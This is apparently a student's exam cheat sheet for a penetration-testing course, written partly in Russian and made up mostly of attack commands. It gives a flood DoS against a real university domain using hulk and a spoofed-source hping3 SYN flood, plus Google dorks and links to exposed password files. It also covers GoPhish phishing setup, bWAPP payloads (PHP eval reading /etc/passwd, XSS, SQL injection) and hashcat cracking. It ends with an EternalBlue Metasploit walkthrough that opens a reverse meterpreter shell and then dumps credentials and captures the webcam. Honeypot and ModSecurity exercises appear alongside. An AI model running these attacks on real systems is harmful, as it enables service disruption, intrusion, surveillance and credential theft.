**A for 7points**

**1. Find email addresses which belong to some organization**

theHarvester -d wonderhowto.com -b all -l 200

-d domain to search -l limit the number of results –b data source google,twitter

**2. Show how to find google dork for “pages containing login”**

filetype:txt username password

filetype.txt intext:@gmail.com intext:username

filetype:txt intext:@gmail.com intext:Facebook intext:password

(get link to the login page with the login words on the title and password words anywhere)

<http://www.fundflowmanagers.com/mns.txt>

<http://www.secabc.org.br/secabc/wp-content/uploads/curriculos/phisher.txt>

**3. Perform DOS attack on sdu.edu.kz**

cd /home/kali/Downloads/hulk-master/

python hulk.py sdu.edu.kz

sudo hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source sdu.edu.kz show that router fall down

-c --count количество пакетов

-d - размер данных данных

-S --syn установить флаг SYN

-p -- порт назначения

-w --win winsize (по умолчанию 64)

--flood: sent packets as fast as possible. Don't show replies.

**4. Wireshark: show any packet and analyze it**

**B 10points**

**1) TOR browser: show your ip before and afterusing it**

curl 2ip.ru

proxychains curl 2ip.ru

2) GoPhish: run and send something

1. Run Gophish
2. Go to [https://127.0.0.1:3333](https://127.0.1.1:3333/)
3. Login (admin/gophish)
4. Go to [sengrid](https://sendgrid.com/)
5. Register/Login
6. Go to Email API -> SMTP relay
7. Create API key
8. Go to [Sending profiles in gophish](https://127.0.0.1:3333/sending_profiles)
9. Press new profile
10. Fill Host = smtp.sendgrid.net and username = "your api key name" and password = "your api key"
11. Fill other parts and press Send test email

3) Apache + modsecurity

nano /etc/apache2/sites-available/000-default.conf

sudo service apache2 start

sudo service mysql start

<http://localhost/bWAPP/sqli_2.php?movie=1+union+by+2+3&action=go>

**4) Honeypot ssh**

cd SSH-Honeypot-master

python honeypot.py

ssh test@localhost -p 222

**Honeypot wordpress**

cd wordpot-master

sudo python wordpot.py

/home/kali/Downloads/wordpot-master/wordpot.conf менять порт

/home/kali/Downloads/wordpot-master/logs/wordpot.log записываются все данные

**С 13points**

1) **Download index page of cisco com, extract unique dns to which the page redirects you**

**wget --no-check-certificate cisco.com**

**wget** is a free utility for [non-interactive](https://www.computerhope.com/jargon/n/noninact.htm) download of files from the [web](https://www.computerhope.com/jargon/i/internet.htm).

**grep "href=" index.html | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 |cut -d "<" -f 3 | sort |uniq**

1. Get mostly the links with "/" delimeter cut -d "/" -f 3
2. Get only domains with grep "\."

2) **Show 3 working OWASP in bwapp**

sudo nano /etc/apache2/sites-available/000-default.conf

SecruleEngine off

Show 3 working OWASP in bwapp

**1.HTML5 web storage**

<http://localhost/bWAPP/insecure_crypt_storage_1.php>

Inspect elements

В интернете информацию можно сохранять в двух местах: на веб-сервере и на веб-клиенте

Использует объект localStorage для хранения данных для всего веб-сайта на постоянной основе. Это означает, что если веб-страница сохранит данные в локальном хранилище, эти данные будут доступны для пользователя, когда он возвратится на эту веб-страницу

**2.Php eval**

<http://localhost/bWAPP/php_eval.php>?

[http://localhost/bWAPP/php\_eval.php?eval=echo shell\_exec(“cat/etc/passwd”)](http://localhost/bWAPP/php_eval.php?eval=echo%20shell_exec();

# 3. Cross-Site Scripting attack in PHP\_SELF?

As you can see the first name and last name reflects on the webpage, so let’s enter the JavaScript code.

<script>alert(1)</script>

3) **Hash: 1st identify which hash, then break given hash**

**Hashid-hash identifier tool**

The ‘-a’ indicates the attack mode (covered shortly) and the ‘-m’ indicates the type of hash ‘-m 0’, which specifies raw MD5.

hashcat -m 0 -a 3 --force

hashcat -m 0 /home/kali/Desktop/hashes.txt /home/kali/Desktop/big.txt --force

4) **MSFconsole: set up everything and run exploit**

#For testing metasploit framework console you need to have Windows 7 OS device that #connected to the same network(or just VirtualBox image but in #Setting->Network->Adapter 1 set “Attached to” to Bridged Adapter) and you might have #to disable firewall.

Windows ipconfig

Kali sudo ifconfig

1) Using nmap or armitage find ip address of device

2) Using this command find if there is smb service: nmap -v [ip address] -Pn -A -T5

3) run on your kali or whatever linux CLI(Command line): msfconsole

4) follow these commands:

1. use exploit/windows/smb/ms17\_010\_eternalblue

2. set rhosts [target ip] (ip address of Win 7, you can check using ipconfig)

3. set payload windows/x64/meterpreter/reverse\_tcp

4. set lhost [own ip] (you can check ip address: ip a)

5. set ForceExploit true

6. exploit if exploit was successful get user passwords:

1) load kiwi

2) getprivs

3) creds all take screenshot: 1) screenshot capture webcam: 1) webcam\_list (check if any webcam is present) 2) webcam\_snap (take a photo from webcam) 3) webcam\_stream (to stream a video from webcam)

The first thing we need to do is open up the [terminal](https://null-byte.wonderhowto.com/how-to/linux-basics/) and start [Metasploit](https://null-byte.wonderhowto.com/how-to/metasploit-basics/).

Next, use the **search** command within Metasploit to locate a suitable module to use.

Search eternablue

we can **use** the following exploit module from the search we just did.

First, we need to specify the IP address of the target.

Next, we can load the trusty **reverse\_tcp** shell as the [payload](https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/).

Finally, set the listening host to the IP address of our local machine.

sysinfo

getuid